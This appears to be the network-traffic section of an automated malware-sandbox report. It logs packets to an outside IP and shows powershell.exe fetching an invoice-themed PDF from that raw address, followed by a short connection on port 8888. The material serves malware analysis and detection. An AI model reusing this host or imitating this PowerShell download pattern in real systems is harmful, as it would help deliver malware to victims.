Jan 10, 2025 19:36:24.656626940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.656641960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.656650066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.656657934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.656666994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.656683922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.656683922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.656694889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.656724930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.656735897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.659734011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.669123888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669138908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669153929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669235945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.669265032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669274092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669322014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.669466019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669481993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669490099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669498920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669517040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.669543028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.669732094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669794083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.669878006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669887066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669902086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669909000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669918060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669925928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669934034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.669938087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.669977903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.670312881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.670377970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.670382977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.670392036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.670408010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.670416117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.670434952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.670463085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.671163082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.677012920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.686669111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686678886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686693907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686701059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686709881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686774969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.686790943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.686943054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686953068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686973095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686979055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.686999083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.687021017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.687890053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.687900066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.687913895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.687956095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.687963009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.687969923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.687983990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.688014030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.688024998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.688031912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.688079119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.688200951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.688211918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.688252926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.688322067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.705086946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.705137968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.705147028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.705223083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.705275059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.705281973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.705293894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.705337048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.705504894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722049952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722059011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722070932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722145081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.722171068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722177982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722227097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.722290039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722301960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722358942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.722400904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722405910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722418070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722455978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.722543001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722594976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.722616911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722628117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722630024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722636938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.722667933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.722700119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.722821951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739181042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739232063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739238977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739269972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.739284992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.739340067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739403963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739409924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739456892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.739572048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739574909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739578962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739589930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739598036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739645004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.739662886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.739804983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739813089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739865065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.739933968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739939928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739953041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.739995003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.740175009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740181923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740187883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740199089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740205050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740211964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740217924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740247965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.740278959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.740534067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740539074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740550041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740556955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740562916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740598917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.740780115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740787029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740793943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740806103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740811110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740817070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.740849972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.741115093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741122007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741127968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741139889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741146088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741187096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.741389990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741396904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741404057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741415024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741462946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.741524935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741532087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741538048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741549969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741554976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741560936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741565943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741571903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741585016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741590977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741601944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.741606951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.741625071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.741653919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.742435932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742443085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742449999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742455959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742460966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742466927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742480040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742486954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742494106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742503881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742506981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.742517948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.742532969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.742548943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.743056059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.743062973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.743122101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.746304989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.756000996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756057024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756062031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756158113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.756182909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756190062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756381989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.756409883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756416082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756422043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756479979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.756555080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756561995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756568909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756617069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.756695032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756738901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.756757021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756764889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756771088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756781101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.756824017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.758202076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.773509979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.773516893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.773525000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.773616076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.773669004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.773675919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.773682117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.773694992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.773741007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.774578094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774636984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774645090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774669886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.774701118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.774781942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774789095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774873972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774888039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774893999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.774935007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.791956902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.791987896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.791992903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.792026043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.792114019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.792124033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.792253971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.792562008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.792577028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.792583942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.792642117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.827258110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827269077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827373981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827375889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.827382088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827421904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.827574015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827580929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827593088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827639103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.827836037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827841043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827847958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827858925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827869892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827877998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.827914000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.827938080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.828378916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828385115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828391075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828402042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828407049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828413010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828418970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828424931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828437090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.828440905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.828479052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.829037905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.829044104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.829099894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.960237026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:25.407572985 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:25.412396908 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:25.412517071 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:25.413254976 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:25.418080091 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:26.189816952 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:26.235440969 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:27.144129038 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:36:38.320769072 CET	52485	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:36:38.320769072 CET	192.168.2.4	1.1.1.1	0x77ea	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:36:38.327589989 CET	1.1.1.1	192.168.2.4	0x77ea	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7048	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:36:23.273884058 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:36:24.081696987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:36:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
